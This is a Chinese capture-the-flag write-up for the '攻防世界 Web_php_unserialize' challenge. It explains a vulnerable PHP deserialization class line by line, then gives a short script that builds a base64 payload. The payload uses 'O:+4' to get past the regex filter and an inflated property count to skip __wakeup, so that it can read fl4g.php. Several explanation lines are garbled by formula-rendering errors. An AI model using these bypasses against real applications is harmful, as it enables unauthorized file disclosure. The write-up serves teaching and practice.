14,攻防世界Web_php_unserialize
进入场景
看见代码,解析一下
这段PHP代码定义了一个名为Demo的类,并演示了如何通过URL参数进行反序列化和文件高亮显示的功能,同时也包含了一些安全措施以防止对象注入攻击。下面是对这段代码的逐行解释:
1.<php 开始PHP代码。
2.class Demo { 定义了一个名为Demo的类。
3.private f i l e = ′ i n d e x . p h p ′ ; 在 D e m o 类中定义了一个私有属性 file = 'index.php'; 在Demo类中定义了一个私有属性 file=′index.php′;在Demo类中定义了一个私有属性file,并初始化为’index.php’。这意味着这个属性只能在类的内部被访问和修改。
4.public function __construct(KaTeX parse error: Expected '}', got 'EOF' at end of input: …了类的构造函数,它接受一个参数file。
5.$this->file = f i l e ; 在构造函数中,将传入的 file; 在构造函数中,将传入的 file;在构造函数中,将传入的file参数值赋给类的私有属性$file。
6.} 结束构造函数。
7.function __destruct() { 定义了类的析构函数,当对象被销毁时自动调用。
8.echo @highlight_file( t h i s − > f i l e , t r u e ) ; 使用 h i g h l i g h t _ f i l e 函数高亮显示 this->file, true); 使用highlight\_file函数高亮显示 this−>file,true);使用highlight_file函数高亮显示this->file指定的文件内容,并输出。@符号用于抑制可能出现的错误或警告。
9.} 结束析构函数。
10.function __wakeup() { 定义了__wakeup方法,这是一个魔术方法,在对象被反序列化时自动调用。
11.if (KaTeX parse error: Expected '}', got 'EOF' at end of input: …ndex.php') { 检查file属性是否不等于’index.php’。
12. t h i s − > f i l e = ′ i n d e x . p h p ′ ; 如果 this->file = 'index.php'; 如果 this−>file=′index.php′;如果file属性不等于’index.php’,则将其重置为’index.php’。
13.} 结束__wakeup方法。
14.} 结束Demo类。
15.if (isset($_GET[‘var’])) { 检查URL参数中是否存在var。
16. v a r = b a s e 64 _ d e c o d e ( var = base64\_decode( var=base64_decode(_GET[‘var’]); 将var参数的值进行Base64解码。
17.if (preg_match(‘/[oc]:d+:/i’, $var)) { 使用正则表达式检查解码后的字符串是否包含类似序列化对象的模式(例如O:数字:…或C:数字:…)。这是一种简单的安全措施,用于防止对象注入攻击。
18.die(‘stop hacking!’); 如果检测到可能的对象注入攻击,则终止脚本执行。
19.} else { 如果没有检测到攻击。
20.@unserialize( v a r ) ; 尝试反序列化 var); 尝试反序列化 var);尝试反序列化var。@符号用于抑制可能出现的错误或警告。
21.} 结束else块。
22.} else { 如果URL参数中没有var。
23.highlight_file(“index.php”); 直接高亮显示当前文件(index.php)。
24.} 结束if-else结构。
25.> 结束PHP代码。
根据分析,我们要绕过unserialize函数、preg—match函数、wakeup函数、解码函数
写个PHP代码运行一下,传给var
PHP序列化和反序列化 - 爱资料工具
<?php
class Demo {?
? ? private $file = 'fl4g.php';
}
$a = serialize(new Demo);
$a = str_replace('O:4', 'O:+4',$a); ? ? ? //绕过preg_match()函数
$a = str_replace(':1:', ':2:',$a); ? ? ? ?//绕过__wakeup()函数
echo base64_encode($a); ? ? ? ? ? ? ? ? ? //绕过解码函数
?>
在PHP的序列化字符串中,对象通常以“O:”开头,后面跟着对象的类名长度、类名字符串、以及对象属性的序列化表示。